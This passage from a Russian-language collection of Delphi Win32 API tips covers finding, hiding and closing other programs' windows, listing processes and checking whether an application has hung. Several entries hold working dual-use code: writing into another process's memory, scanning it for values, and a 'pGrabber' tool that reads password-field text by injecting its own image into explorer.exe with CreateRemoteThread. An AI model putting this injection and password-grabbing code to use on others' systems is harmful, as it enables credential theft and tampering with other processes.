SW_SHOWMAXIMIZED Выводит окно в развёрнутом виде.
SW_SHOWMINIMIZED Выводит окно в виде пиктограммы на панели задач.
SW_SHOWMINNOACTIVE Выводит окно в свёрнутом виде на панели задач и не передаёт ему фокус ввода, т.е. окно, которое до этого было активно остаётся активно по прежнему.
SW_SHOWNA Отображает окно в его текущем состоянии. Активное окно остаётся активным по прежнему.
SW_SHOWNOACTIVATE Выводит окно в его последнем положении и с последними используемыми размерами. Активное окно остаётся активным по прежнему.
SW_SHOWNORMAL Выводит окно. Если оно было свёрнуто или развёрнуто - восстанавливает его оригинальные размеры и позицию
Но вся сложность действий заключается в том, что в заголовке Блокнота отслеживается имя текущего файла и использовать значение "Безымянный - Блокнот" мы можем не всегда : (. Тем более это не только в случае с блокнотом... Но есть выход: ведь функции FindWindow для поиска окна мы указываем не только заголовок нужного окна, но ещё его класс. Какой же это выход скажете вы, заголовок окна мы видим, значит знаем, что указывать - а класс окна... в действительности тоже может найти приложив немного усилий!

В пакет Delphi входим специальная утилита для отслеживание всех активных процессов, она называется WinSight32. Вот ею мы и воспользуемся. Запустите её, покопайтесь в списке процессов, ищите строку где значится текущий заголовок нужного окна, например Блокнота, и в левой части этой строки в фигурных скобках вы найдёте имя класса окна. Для блокнота это будет "Notepad". Теперь зная имя класса окна мы можем переписать поиск окна таким способом:

ShowWindow(FindWindow('Notepad', nil), sw_hide);

Теперь мы вместо заголовка окна указываем значение nil, игнорируя данный параметр.

Есть ещё один замечательный способ передачи команд окнам.- функция PostMessage. Ей в качестве параметров нужно указать:

Дескриптор окна, которому посылается сообщение или следующие значения:
HWND_BROADCAST Сообщение будет послано всем окнам верхнего уровня системы, включая неактивные и невидимые окна, overlapped-окна, и PopUp-окна, но сообщение не будет посылаться дочерним[Child] окнам.
NULL Ведёт себя как функция PostThreadMessage с переданным ей dwThreadId параметром.
Посылаемое сообщение
Первый параметр сообщения
Второй параметр сообщения
Например, если послать сообщение wm_quit блокноту - окно будет закрыто без вывода всяких сообщений о необходимости сохранения!

PostMessage(FindWindow('Notepad', nil), wm_quit, 0, 0);

Взято с http://delphiworld.narod.ru


Как, зная Handle окна программы, определить имя EXE?

function ExeNameByHandle(aWinHandle:HWND):string;
// Для начала определяешь какому процессу принадлежит окно:
var pProcID: ^DWORD;
begin
  GetMem(pProcID, SizeOf(DWORD));
  GetWindowThreadProcessId(aWinHandle, pProcID);
  result:=GetExeNameByProcID(pProcID^);
  FreeMem(pProcID);
end;
        // а после этого используешь TProcessEntry32 примерно так:
function GetExeNameByProcID(ProcID: DWord): string;
var
ContinueLoop: BOOL;
FSnapshotHandle: THandle;
FProcessEntry32: TProcessEntry32;
begin
FSnapshotHandle := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
FProcessEntry32.dwSize := Sizeof(FProcessEntry32);
ContinueLoop := Process32First(FSnapshotHandle, FProcessEntry32);
Result := '';
while (Integer(ContinueLoop) <> 0) and (Result = '') do
        begin
        if FProcessEntry32.th32ProcessID = ProcID then
                Result := FProcessEntry32.szExeFile;
        ContinueLoop := Process32Next(FSnapshotHandle, FProcessEntry32);
        end;
CloseHandle(FSnapshotHandle);
end;

// Не забудь в uses добавить Tlhelp32

Взято с http://delphiworld.narod.ru

Код исправлен Мыш
Взято из http://forum.sources.ru


Пример EnumWindows

Создайте форму и разместите на ней два компонента ListBox.
Скопируйте код, показанный ниже.
Запустите SysEdit.
Запустите форму Delphi. Первый ListBox должен содержать список всех запущенных приложений. Дважды щелкните на SysEdit и нижний ListBox покажет дочернее MDI-окно программы SysEdit.
Paul Powers (Borland)

unit Wintask1;

interface

uses
  SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls,
  Forms, Dialogs, StdCtrls;

type
  TForm1 = class(TForm)
    ListBox1: TListBox;
    ListBox2: TListBox;
    procedure FormCreate(Sender: TObject);
    procedure ListBox1DblClick(Sender: TObject);
  private
    function enumListOfTasks(hWindow: hWnd): Bool; export;
    function enumListOfChildTasks(hWindow: hWnd): Bool; export;
  end;

  THoldhWnd = class(TObject)
  private
  public
    hWindow: hWnd;
  end;

var
  Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.FormCreate(Sender: TObject);
begin
  enumWindows(@TForm1.EnumListOfTasks, Longint(Self));
  if (ListBox1.Items.Count > 0) then
    ListBox1.ItemIndex := 0;
end;

function TForm1.enumListOfTasks(hWindow: hWnd): Bool;
var
  HoldString: PChar;
  WindowStyle: Longint;
  IsAChild: Word;
  HoldhWnd: THoldhWnd;

begin
  GetMem(HoldString, 256);

  HoldhWnd := THoldhWnd.Create;
  HoldhWnd.hWindow := hWindow;

  WindowStyle := GetWindowLong(hWindow, GWL_STYLE);
  WindowStyle := WindowStyle and Longint(WS_VISIBLE);
  IsAChild := GetWindowWord(hWindow, GWW_HWNDPARENT);

{Добавляем строку с текстом задачи или именем класса и дескриптор в ListBox1.Items }
  if (GetWindowText(hWindow, HoldString, 255) > 0) and
    (WindowStyle > 0) and (IsAChild = Word(nil)) then
    ListBox1.Items.AddObject(StrPas(HoldString), TObject(HoldhWnd))
  else if (GetClassName(hWindow, HoldString, 255) > 0) and
    (WindowStyle > 0) and (IsAChild = Word(nil)) then
    ListBox1.Items.AddObject(Concat('<', StrPas(HoldString), '>'), TObject(HoldhWnd));

  FreeMem(HoldString, 256);
  HoldhWnd := nil;
  Result := TRUE;
end;

function TForm1.enumListOfChildTasks(hWindow: hWnd): Bool;
var
  HoldString: PChar;
  WindowStyle: Longint;
  IsAChild: Word;
  HoldhWnd: THoldhWnd;

begin
  GetMem(HoldString, 256);

  HoldhWnd := THoldhWnd.Create;
  HoldhWnd.hWindow := hWindow;

  WindowStyle := GetWindowLong(hWindow, GWL_STYLE);
  WindowStyle := WindowStyle and Longint(WS_VISIBLE);
  IsAChild := GetWindowWord(hWindow, GWW_HWNDPARENT);

{Добавляем строку с текстом задачи или именем класса и дескриптор в ListBox1.Items }
  if (GetWindowText(hWindow, HoldString, 255) > 0) and
    (WindowStyle > 0) and (IsAChild <> Word(nil)) then
    ListBox2.Items.AddObject(StrPas(HoldString), TObject(HoldhWnd))
  else if (GetClassName(hWindow, HoldString, 255) > 0) and
    (WindowStyle > 0) and (IsAChild = Word(nil)) then
    ListBox2.Items.AddObject(Concat('<', StrPas(HoldString), '>'), TObject(HoldhWnd));

  FreeMem(HoldString, 256);
  HoldhWnd := nil;
  Result := TRUE;
end;

procedure TForm1.ListBox1DblClick(Sender: TObject);
begin

  enumChildWindows(THoldhWnd(ListBox1.Items.Objects[ListBox1.ItemIndex]).hWindow, @TForm1.enumListOfChildTasks, Longint(Self));

  ListBox2.RePaint;
end;

end.

Дополнение

В Kuliba1000.chm Win32 API/Разное/Пример EnumWindows есть принципиальная ошибка в коде:

ЛЮБАЯ callback ( обратного вызова ) функция в Delphi должна сопровождаться директивой stdcall.

Предоставленный пример просто не работает.

Определение класса формы должно выглядеть как-то так:

type
  TForm1 = class(TForm)
    ListBox1: TListBox;
    ListBox2: TListBox;
    procedure FormCreate(Sender: TObject);
    procedure ListBox1DblClick(Sender: TObject);
  private
    function enumListOfTasks(hWindow: hWnd): Bool; stdcall;
    function enumListOfChildTasks(hWindow: hWnd): Bool; stdcall;
  end;

Директивы export (это написано в Help'е) просто не работают (игнорируются) под Win 32 :(

С наилучшими пожеданиями
Андрей Бреслав
Взято из Советов по Delphi от Валентина Озерова
Сборник Kuliba


Проверить приложение на зависание?

// 1. The Documented way

{
  An application can check if a window is responding to messages by
  sending the WM_NULL message with the SendMessageTimeout function.
}

function AppIsResponding(ClassName: string): Boolean;
const
  { Specifies the duration, in milliseconds, of the time-out period }
  TIMEOUT = 50;
var
  Res: DWORD;
  h: HWND;
begin
  h := FindWindow(PChar(ClassName), nil);
  if h <> 0 then
    Result := SendMessageTimeOut(H,
      WM_NULL,
      0,
      0,
      SMTO_NORMAL or SMTO_ABORTIFHUNG,
      TIMEOUT,
      Res) <> 0
  else
    ShowMessage(Format('%s not found!', [ClassName]));
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  if AppIsResponding('OpusApp') then
    { OpusApp is the Class Name of WINWORD }
    ShowMessage('App. responding');
end;

// 2. The Undocumented way

{
  // Translated form C to Delphi by Thomas Stutz
  // Original Code:
  // (c)1999 Ashot Oganesyan K, SmartLine, Inc
  // mailto:ashot@aha.ru, http://www.protect-me.com, http://www.codepile.com

 The code doesn't use the Win32 API SendMessageTimout function to
 determine if the target application is responding but calls
 undocumented functions from the User32.dll.

 --> For NT/2000/XP the IsHungAppWindow() API:

 The function IsHungAppWindow retrieves the status (running or not responding)
 of the specified application

 IsHungAppWindow(Wnd: HWND): // handle to main app's window
 BOOL;

 --> For Windows 95/98/ME we call the IsHungThread() API

 The function IsHungThread retrieves the status (running or not responding) of
 the specified thread

 IsHungThread(DWORD dwThreadId): // The thread's identifier of the main app's window
 BOOL;

 Unfortunately, Microsoft doesn't provide us with the exports symbols in the
 User32.lib for these functions, so we should load them dynamically using the
 GetModuleHandle and GetProcAddress functions:
}

// For Win9X/ME
function IsAppRespondig9X(dwThreadId: DWORD): Boolean;
type
  TIsHungThread = function(dwThreadId: DWORD): BOOL; stdcall;
var
  hUser32: THandle;
  IsHungThread: TIsHungThread;
begin
  Result := True;
  hUser32 := GetModuleHandle('user32.dll');
  if (hUser32 > 0) then
  begin
    @IsHungThread := GetProcAddress(hUser32, 'IsHungThread');
    if Assigned(IsHungThread) then
    begin
      Result := not IsHungThread(dwThreadId);
    end;
  end;
end;

// For Win NT/2000/XP
function IsAppRespondigNT(wnd: HWND): Boolean;
type
  TIsHungAppWindow = function(wnd:hWnd): BOOL; stdcall;
var
  hUser32: THandle;
  IsHungAppWindow: TIsHungAppWindow;
begin
  Result := True;
  hUser32 := GetModuleHandle('user32.dll');
  if (hUser32 > 0) then
  begin
    @IsHungAppWindow := GetProcAddress(hUser32, 'IsHungAppWindow');
    if Assigned(IsHungAppWindow) then
    begin
      Result := not IsHungAppWindow(wnd);
    end;
  end;
end;

function IsAppRespondig(Wnd: HWND): Boolean;
begin
 if not IsWindow(Wnd) then
 begin
   ShowMessage('Incorrect window handle!');
   Exit;
 end;
 if Win32Platform = VER_PLATFORM_WIN32_NT then
   Result := IsAppRespondigNT(wnd)
 else
   Result := IsAppRespondig9X(GetWindowThreadProcessId(Wnd,nil));
end;

// Example: Check if Word is hung/responding

procedure TForm1.Button3Click(Sender: TObject);
var
  Res: DWORD;
  h: HWND;
begin
  // Find Winword by classname
  h := FindWindow(PChar('OpusApp'), nil);
  if h <> 0 then
  begin
    if IsAppRespondig(h) then
      ShowMessage('Word is responding!')
    else
      ShowMessage('Word is not responding!');
  end
  else
    ShowMessage('Word is not open!');
end;

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


How to patch a process?

{....}

var
  WindowName: Integer;
  ProcessId: Integer;
  ThreadId: Integer;
  buf: PChar;
  HandleWindow: Integer;
  Write: Cardinal;

{....}

const
  WindowTitle = 'a program name';
  Address = $A662D6;
  PokeValue = $4A;
  NumberOfBytes = 2;

{....}

procedure TForm1.Button1Click(Sender: TObject);
begin
  WindowName := FindWindow(nil, WindowTitle);

  if WindowName = 0 then
  begin
    MessageDlg('Program not running.', mtWarning, [mbOK], 0);
  end;

  ThreadId := GetWindowThreadProcessId(WindowName, @ProcessId);
  HandleWindow := OpenProcess(PROCESS_ALL_ACCESS, False, ProcessId);

  GetMem(buf, 1);
  buf^ := Chr(PokeValue);
  WriteProcessMemory(HandleWindow, ptr(Address), buf, NumberOfBytes, Write);
  FreeMem(buf);
  CloseHandle(HandleWindow);
end;

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


How to get the NT Domain and UserName of a Process?

uses
  TlHelp32;

type
  PTOKEN_USER = ^TOKEN_USER;
  _TOKEN_USER = record
    User: TSidAndAttributes;
  end;
  TOKEN_USER = _TOKEN_USER;

function GetUserAndDomainFromPID(ProcessId: DWORD;
  var User, Domain: string): Boolean;
var
  hToken: THandle;
  cbBuf: Cardinal;
  ptiUser: PTOKEN_USER;
  snu: SID_NAME_USE;
  ProcessHandle: THandle;
  UserSize, DomainSize: DWORD;
  bSuccess: Boolean;
begin
  Result := False;
  ProcessHandle := OpenProcess(PROCESS_QUERY_INFORMATION, False, ProcessId);
  if ProcessHandle <> 0 then
  begin
  //  EnableProcessPrivilege(ProcessHandle, 'SeSecurityPrivilege', True);
    if OpenProcessToken(ProcessHandle, TOKEN_QUERY, hToken) then
    begin
      bSuccess := GetTokenInformation(hToken, TokenUser, nil, 0, cbBuf);
      ptiUser  := nil;
      while (not bSuccess) and (GetLastError = ERROR_INSUFFICIENT_BUFFER) do
      begin
        ReallocMem(ptiUser, cbBuf);
        bSuccess := GetTokenInformation(hToken, TokenUser, ptiUser, cbBuf, cbBuf);
      end;
      CloseHandle(hToken);

      if not bSuccess then
      begin
        Exit;
      end;

      UserSize := 0;
      DomainSize := 0;
      LookupAccountSid(nil, ptiUser.User.Sid, nil, UserSize, nil, DomainSize, snu);
      if (UserSize <> 0) and (DomainSize <> 0) then
      begin
        SetLength(User, UserSize);
        SetLength(Domain, DomainSize);
        if LookupAccountSid(nil, ptiUser.User.Sid, PChar(User), UserSize,
          PChar(Domain), DomainSize, snu) then
        begin
          Result := True;
          User := StrPas(PChar(User));
          Domain := StrPas(PChar(Domain));
        end;
      end;

      if bSuccess then
      begin
        FreeMem(ptiUser);
      end;
    end;
    CloseHandle(ProcessHandle);
  end;
end;

procedure TForm1.Button1Click(Sender: TObject);
var
  hProcSnap: THandle;
  pe32: TProcessEntry32;
  Domain, User: string;
  s: string;
begin

  hProcSnap := CreateToolHelp32SnapShot(TH32CS_SNAPALL, 0);
  if hProcSnap = INVALID_HANDLE_VALUE then Exit;

  pe32.dwSize := SizeOf(ProcessEntry32);

  if Process32First(hProcSnap, pe32) = True then
    while Process32Next(hProcSnap, pe32) = True do
    begin

      if GetUserAndDomainFromPID(pe32.th32ProcessID, User, Domain) then
      begin
        s := Format('%s User: %s ; Domain: %s',[StrPas(pe32.szExeFile), User, Domain]);
        Listbox1.Items.Add(s);
      end else
        Listbox1.Items.Add(StrPas(pe32.szExeFile));
    end;
  CloseHandle(hProcSnap);
end;

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Послать Alt + буква другому приложению

Как мне программно нажать ALT + буква(VK_...) в другом приложении. Хендл я нашел, деляю так

  SendMessage(Handle_, WM_KEYDOWN, VK_MENU,0);
  SendMessage(Handle_, WM_KEYDOWN, VK_F1,0);
  SendMessage(Handle_, WM_KEYUP, VK_F1,0);

но у меня не получается, что не так?

Попробуй так

 SendMessage(Handle,WM_KEYDOWN,Byte(C),$20000001);

Взято из http://forum.sources.ru


Как получить список процессов в Win9x

Эта функция возвращает результат: запущено ли приложение, переданное ей в качестве параметра. Функция просматривает список всех процессов и делает вывод.

function IsRunning( sName : string ) : boolean;
var
  han : THandle;
  ProcStruct : PROCESSENTRY32; // from "tlhelp32" in uses clause
  sID : string;
begin
  Result := false;
  // Get a snapshot of the system
  han := CreateToolhelp32Snapshot( TH32CS_SNAPALL, 0 );
  if han = 0 then
    exit;
  // Loop thru the processes until we find it or hit the end
  ProcStruct.dwSize := sizeof( PROCESSENTRY32 );
  if Process32First( han, ProcStruct ) then
    begin
      repeat
        sID := ExtractFileName( ProcStruct.szExeFile );
        // Check only against the portion of the name supplied, ignoring case
        if uppercase( copy( sId, 1, length( sName ) ) ) = uppercase( sName ) then
          begin
            // Report we found it
            Result := true;
            Break;
          end;
      until not Process32Next( han, ProcStruct );
    end;
  // clean-up
  CloseHandle( han );
end;

Автор: Song

Взято из http://forum.sources.ru


Поиск значения типа DWORD в указанном процессе

//
// Поиск значения типа DWORD в указанном процессе
// paul_shmakov@mail.ru
//
program search;

{$APPTYPE CONSOLE}

uses Windows, SysUtils;

var
 ProcessID: DWord;
 ProcessHandle: THandle;
 Mbi: TMemoryBasicInformation;
 Addr: DWord;
 Value: DWord;
 I: Cardinal;
 Buf: PChar;
 BytesRead: DWord;
begin
 if ParamCount < 2 then
 begin
  WriteLn('Usage: search.exe processid value');
  Exit;
 end;

 ProcessID := StrToInt(ParamStr(1));
 WriteLn('Process id: ' + IntToStr(ProcessID));

 Value := StrToInt(ParamStr(2));
 WriteLn('Value to search: ' + IntToStr(Value));

 //
 // Открываем процесс
 //
 ProcessHandle := OpenProcess(PROCESS_QUERY_INFORMATION or PROCESS_VM_READ or
  PROCESS_VM_OPERATION, false, ProcessID);

 if ProcessHandle <> 0 then
 try
  Addr := 0;

  //
  // Перечисляем все регионы виртуальной памяти процесса
  //
  while VirtualQueryEx(ProcessHandle, Pointer(Addr), Mbi, SizeOf(Mbi)) <> 0 do
  begin
   // Uncomment чтобы увидеть список регионов, найденых в адресном пространстве
   // WriteLn('region: ' + IntToHex(Integer(Mbi.BaseAddress), 8) +
   //   ' size: ' + IntToStr(Mbi.RegionSize));

   //
   // Если региону выделена память, и регион не является "сторожевым" (как вершина стека),
   // то читаем этот регион
   //
   if (Mbi.State = MEM_COMMIT) and not ((Mbi.Protect and PAGE_GUARD) = PAGE_GUARD) then
   begin
    //
    // Это демонстрационная программа, поэтому здесь выделяется буфер под весь регион.
    // Регион может быть достаточно большим, поэтому лучше читать его блоками для экономии
    // памяти. Но здесь для простоты алгоритма вся оптимизация похерена.
    //
    GetMem(Buf, Mbi.RegionSize);
    try
     //
     // Читаем весь регион в выделенный буфер
     //
     if ReadProcessMemory(ProcessHandle, Mbi.BaseAddress, Buf,
       Mbi.RegionSize, BytesRead) then
     begin
      //
      // Ищем значение типа DWORD в буфере
      //
      for I := 0 to BytesRead - SizeOf(Value) do
      begin
       if PDWord(@Buf[I])^ = Value then
        // Найдено, выводим
        WriteLn('Value ' + IntToStr(Value) + ' found at ' +
         IntToHex(Integer(Cardinal(Mbi.BaseAddress) + I), 8));
      end;
     end
     else
      WriteLn('Failed to read process memory ' + IntToStr(GetLastError));

    finally
     FreeMem(Buf);
    end;
   end;

   // Вычисляем адрес следуюшего региона
   Addr := Addr + Mbi.RegionSize;
  end;

 finally
  CloseHandle(ProcessHandle);
 end
 else
  WriteLn('Failed to open process');
end.

а вот программа, в которой ведем поиск для примера:

program someprog;

{$APPTYPE CONSOLE}

uses SysUtils;

var
 SomeValue: Integer;
begin
 SomeValue := 12345;
 WriteLn('One variable of this program has a value ' + IntToStr(SomeValue));
 WriteLn('Press any key to exit');
 ReadLn;
end.

Автор Rouse_
Взято изhttp://forum.sources.ru


Получить текст окна, где этого не может WM_GETTEXT

Она может брать текст, где этого не может делать GetWindowText(), вот собственно и все!
Должна работать и в win98, но небыло возможности проверить.... =)
Так что кому надо... Отделбное спасибо .alex'у

program pGrabber;

uses
  windows,
  myfuncs in 'myfuncs.pas';
const
        WM_CREATE           = $0001;
        WM_DESTROY          = $0002;
        WM_SETTEXT          = $000C;
        WM_GETTEXT          = $000D;
        WM_TIMER            = $0113;
        WM_GETTEXTLENGTH    = $000E;
        EM_GETPASSWORDCHAR  = $00D2;
        WM_COMMAND          = $0111;
var
        wc              : TWndClass;
        hwnd            : THandle;
        mMsg            : TMsg;
        ehwnd           : THandle;

function GetTextPODCursor: PChar;
var grabtext: array[0..125] of char;
    lpPoint: TPoint;
    hwnd: THandle;
begin
   GetCursorPos(lpPoint);
   hwnd := WindowFromPoint(lpPoint);
   if (SendMessage(hwnd, EM_GETPASSWORDCHAR, 0, 0) <> 0) then
      begin
       SendMessage(hwnd, WM_GETTEXT, 20, Integer(PChar(@grabtext)));
       result := PChar(@grabtext);
      end else
   result := PChar('');
   SendMessage(ehwnd, WM_SETTEXT, 0, Integer(result));
end;

//////////////////////
// Main Window Proc //
//////////////////////
function WndProc(hwnd: Thandle; lMsg, wParam, lParam: LongInt): LongInt; stdcall;
begin
   Case lMsg of
     WM_CREATE:
        begin
            SetWindowPos(hwnd,HWND_TOPMOST,0,0,0,0,SWP_NOSIZE + SWP_NOMOVE);
            SetTimer(hwnd, 55555, 2*1000, nil);
        end;

     WM_TIMER:
        begin
            if (not IsNT)then GetTextPODCursor else SpawnThreadNT('EXPLORER.EXE', GetModuleHandle(nil));
        end;

     WM_DESTROY:
        begin
            KillTimer(hwnd, 55555);
            halt(0);
        end;

   end;
 result:=DefWindowProc(hWnd, lMsg, wParam, lParam);
end;

//////////////////////
// Main Entry Point //
//////////////////////
begin
 with wc do begin
      style          := CS_HREDRAW or CS_VREDRAW;
      lpfnWndProc    := @WndProc;
      cbClsExtra     := 0;
      cbWndExtra     := 0;
      hInstance      := hInstance;
      hIcon          := 65539;
      hCursor        := 65553;
      hbrBackground  := 26214418;
      lpszMenuName   := nil ;
      lpszClassName  := 'pGClass';
 end;

 RegisterClass(wc);

 hwnd  := CreateWindow('pGClass','   pGrabber [win98/Xp v2.0]  by xZero',WS_OVERLAPPEDWINDOW and WS_DLGFRAME,400,300,260,65,0,0,hInstance,nil);
 ehwnd := CreateWindowEx(WS_EX_CLIENTEDGE, 'Edit', '',WS_CHILD or WS_VISIBLE or ES_READONLY, 5, 5, 245, 20, hwnd, 0, hInstance, nil);

 ShowWindow(hwnd, SW_SHOW);UpdateWindow(hwnd);

 while GetMessage(mMsg, hwnd , 0, 0) do
  begin
   TranslateMessage(mMsg);
   DispatchMessage(mMsg);
  end;
  Halt(mMsg.wParam);
end.

unit myfuncs;
interface
uses windows, tlhelp32;
        function IsNT: boolean;
        function OPTHDROFFSET(ptr: LongInt): DWORD;
        function SpawnThreadNT(pszProcess: PChar; g_hModule: HMODULE): boolean;
        procedure EntryPoint;

implementation
const
        EM_GETPASSWORDCHAR  = $00D2;
        WM_SETTEXT          = $000C;
        WM_GETTEXT          = $000D;

function IsNT: boolean;
var
        osvi:   OSVERSIONINFO;
begin
    osvi.dwOSVersionInfoSize := sizeof(OSVERSIONINFO);

    if(not GetVersionEx(osvi))then
        begin
                result := FALSE;
                exit;
        end;

    if(osvi.dwPlatformId <> VER_PLATFORM_WIN32_NT)then
        result := FALSE
    else
        result := TRUE;
end;

function OPTHDROFFSET(ptr: LongInt): DWORD;
begin
        result := PImageOptionalHeader(int64(ptr) + PImageDosHeader(ptr)._lfanew + sizeof(DWORD) + sizeof(IMAGE_FILE_HEADER)).SizeOfImage;
end;

function SpawnThreadNT(pszProcess: PChar; g_hModule: HMODULE): boolean;
var
        dwProcID: DWORD;
        hToolHelp: THandle;
    pe: PROCESSENTRY32;
        hProc: THandle;
        dwSize: DWORD;
        pMem: Pointer;
    dwOldProt, dwNumBytes, i: DWORD;
        mbi: TMemoryBasicInformation;
        dwRmtThdID: DWORD;
        hRmtThd: THandle;
begin
    hToolHelp := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    pe.dwSize := sizeof(pe);

    if(not Process32First(hToolHelp, pe))then
        begin
                result := false;
                exit;
        end;

        dwProcID := 0;
    while(Process32Next(hToolHelp, pe))do
    begin
        if(lstrcmpi(pe.szExeFile, pszProcess) = 0)then
        begin
            dwProcID := pe.th32ProcessID;
            break;
        end;

    end;

    if(dwProcID = 0)then
    begin
        result := FALSE;
                exit;
    end;

    if(GetCurrentProcessId() = dwProcID)then
        begin
                result := FALSE;
                exit;
        end;

    hProc := OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcID);
    if(hProc = 0)then
    begin
        result := FALSE;
                exit;
    end;

    VirtualFreeEx(hProc, ptr(g_hModule), 0, MEM_RELEASE);

    dwSize := OPTHDROFFSET(g_hModule);

    pMem := VirtualAllocEx(hProc, ptr(g_hModule), dwSize, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if(pMem = nil)then
    begin
        result := FALSE;
                exit;
    end;

    VirtualQueryEx(hProc, pMem, mbi, sizeof(MEMORY_BASIC_INFORMATION));
    while((mbi.Protect <> PAGE_NOACCESS) and (mbi.RegionSize <> 0))do
        begin
        if((mbi.Protect and PAGE_GUARD) = 0)then
        begin
                        i := 0;
                        while(i < mbi.RegionSize)do
            begin
                    if(not VirtualProtectEx(hProc, ptr(DWORD(pMem) + i), $1000, PAGE_EXECUTE_READWRITE, dwOldProt))then
                                begin
                                        result := FALSE;
                                        exit;
                                end;

                if(not WriteProcessMemory(hProc, ptr(DWORD(pMem) + i), Pointer(DWORD(g_hModule) + i), $1000, dwNumBytes))then
                                begin
                                        result := FALSE;
                                        exit;
                                end;
                                i := i + $1000;
            end;
                        pMem := Pointer(DWORD(pMem) + mbi.RegionSize);
            VirtualQueryEx(hProc, pMem, mbi, sizeof(MEMORY_BASIC_INFORMATION));
        end;
    end;

    hRmtThd := CreateRemoteThread(hProc, nil, 0, @EntryPoint, ptr(g_hModule), 0, dwRmtThdID);
    if(hRmtThd = 0)then
    begin
        result := FALSE;
                exit;
    end;
    CloseHandle(hProc);

        result := TRUE;
end;

procedure EntryPoint;
var
        grabtext        : array[0..125] of char;
        lpPoint         : TPoint;
        hwnd            : THandle;
begin
   GetCursorPos(lpPoint);
   hwnd := WindowFromPoint(lpPoint);
   if (GetParent(hwnd) <> 0)then
   begin
        SendMessage(hwnd, WM_GETTEXT, 20, Integer(PChar(@grabtext)));
        SendMessage(FindWindowEx(FindWindow('pGClass', nil), 0, 'Edit', nil), WM_SETTEXT, 0, Integer(PChar(@grabtext)));
   end;
end;

end.

Автор x2er0
Взято из http://forum.sources.ru


Пример процедуры убивающей таймеры по заголовку окна в чужих приложениях написанных на Delphi

var
 Hinst : THandle;
 WndArr : array of THandle;
 Wnd : THandle;

......

Procedure KillDelphiWndTimers(const AppCaption:string);
var  i : integer;
function GetTimerWindows(Handle: HWND; Info: Pointer): BOOL; stdcall;
const
sClName ='TPUtilWindow';
var
s : String;
begin
Result := True;
SetLength(s,Length(sClName)+1);
GetClassName(Handle, PChar(s),Length(s));
SetLength(s,Length(sClName)); // E?aeo caieoeaaou neaie #0 :)
if (GetWindowLong(Handle, GWL_HINSTANCE) =  Hinst )  and  (s=sClName)
then
  begin
    SetLength(WndArr,High(WndArr)+2);
    WndArr[High(WndArr)]:=Handle;
  end;
end;

begin
Wnd:=FindWindow(nil,Pchar(AppCaption));
if Wnd=0 then Exit;
hinst:=GetWindowLong(Wnd, GWL_HINSTANCE);
EnumWindows(@GetTimerWindows,0);
for i:=0 to High(WndArr) do KillTimer(WndArr[i],1);
end;

Автор: Radmin

Взято с Vingrad.ru http://forum.vingrad.ru


Запуск и завершение приложений

Cодержание раздела:

Особенности работы события onActivate
Как запретить кнопку close в любом окне?
Процессы, потоки и функции ShellExecute и WinExec
События, происходящие в приложениях Delphi при завершении работы Windows
Завершение всех работающих приложений
Как завершить любой процесс, в том числе и системный
Отследить завершение работы, (перезагрузку, смену пользователя) в Windows.


Особенности работы события onActivate

Наверное многие заметили, что событие onActivate формы ведет себя по странному, иногда происходит его активация просто при приобретении формой фокуса, а иногда событие происходит только в случае, когда форма становится видимой?
Виной тому виндовые API. Помните начиная с 98 виндов возникла фича - когда активация окна приводит к мельканию заголовка в таскбаре. Под win95/NT4 событие формы onActivate происходит только в момент показа формы (Show, ShowModal), а в остальных осях может возникать и просто при попадании фокуса на форму (уж не знаю почему, но не всегда). Есть хороший способ избавиться от такого поведения и заставить это событие возникать только 1 раз при активации формы и в дальнейшем только тогда когда это нужно.

Procedure TForm1.Form1OnActivate(Sender:TObject);
begin
OnActivate:=nil;
{здесь ваш код обработки события}
end;

Чтоб подготовить обработку события если она ожидается надо вновь присвоить событию процедуру обработки

OnActivate:=Form1OnActivate;

Автор: Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com

Взято с Vingrad.ru http://forum.vingrad.ru


Как запретить кнопку close в любом окне?

Следующий пример запрещает кнопку закрытия (и пункт "закрыть" (close) в системном меню) нужного нам окна (в данном случае Notepad).

procedure TForm1.Button1Click(Sender: TObject);
var
  hwndHandle : THANDLE;
  hMenuHandle : HMENU;
begin
  hwndHandle := FindWindow(nil, 'Untitled - Notepad');
  if (hwndHandle <> 0) then begin
    hMenuHandle := GetSystemMenu(hwndHandle, FALSE);
    if (hMenuHandle <> 0) then
      DeleteMenu(hMenuHandle, SC_CLOSE, MF_BYCOMMAND);
  end;
end;

Взято из http://forum.sources.ru


Процессы, потоки и функции ShellExecute и WinExec

Устройство Windows. Процессы, потоки и функции ShellExecute и WinExec. Часть 1.
По просьбам общественности и была написана эта статья.
Действительно невозможно профессионально разрабатывать многопоточные программы,
не зная, что такое процессы, потоки, нити и синхронизация (надеюсь посвятить этому одну из следующих статей) и,
не представляя, как они работают. В статье за основу взята операционная система Windows 2000.
Так же в этой статье будут подробно рассмотрены различные методы запуска новых процессов (программ).
Главным обстоятельством является то, что почти все современные ОС многозадачны.
ОС Windows 2000 не является исключением, в ней может работать одновременно несколько программ.
Любая программы имеет, по крайней мере, одним программным потоком,
который в свою очередь может создавать еще несколько потоков и т.д.
Но, не смотря на то, что ОС, называется "многозадачной" в конкретный момент времени
выполняется только один поток. что вы не замечаете, как ОС переключается между потоками.
Не стоит забывать, что, распределяя процессорное время, операционная система Windows,
имеет дело именно с потоками, а не с процессами, которым эти потоки принадлежат.
Запуская программу в Windows, вы создаете процесс.
И в этом нет ничего удивительного, потому что в других операционных системах происходит почти то же самое.
Однако все же процесс в Windows, например, отличается от процесса в Unix.
А все дело в том, что в Windows процесс владеет открытыми файлами, оперативной памятью и другими ресурсами.
Для каждого процесса (программы) Windows выделяет виртуальное адресное пространство объемом 2 Гб.
Для адресации этого пространства используются обычные 32-битные указатели,
которые представляют собой числа от 0 до 2 Г. Но процесс в Windows не исполняется.
Исполняется программный поток. Поток - это последовательность машинных команд, которые Windows
воспринимает, как единое целое (набор регистров процессора).
Поток обладает указателем на команду, которая в данный момент выполняется,
и указателем на стек где хранятся локальные переменные потока.
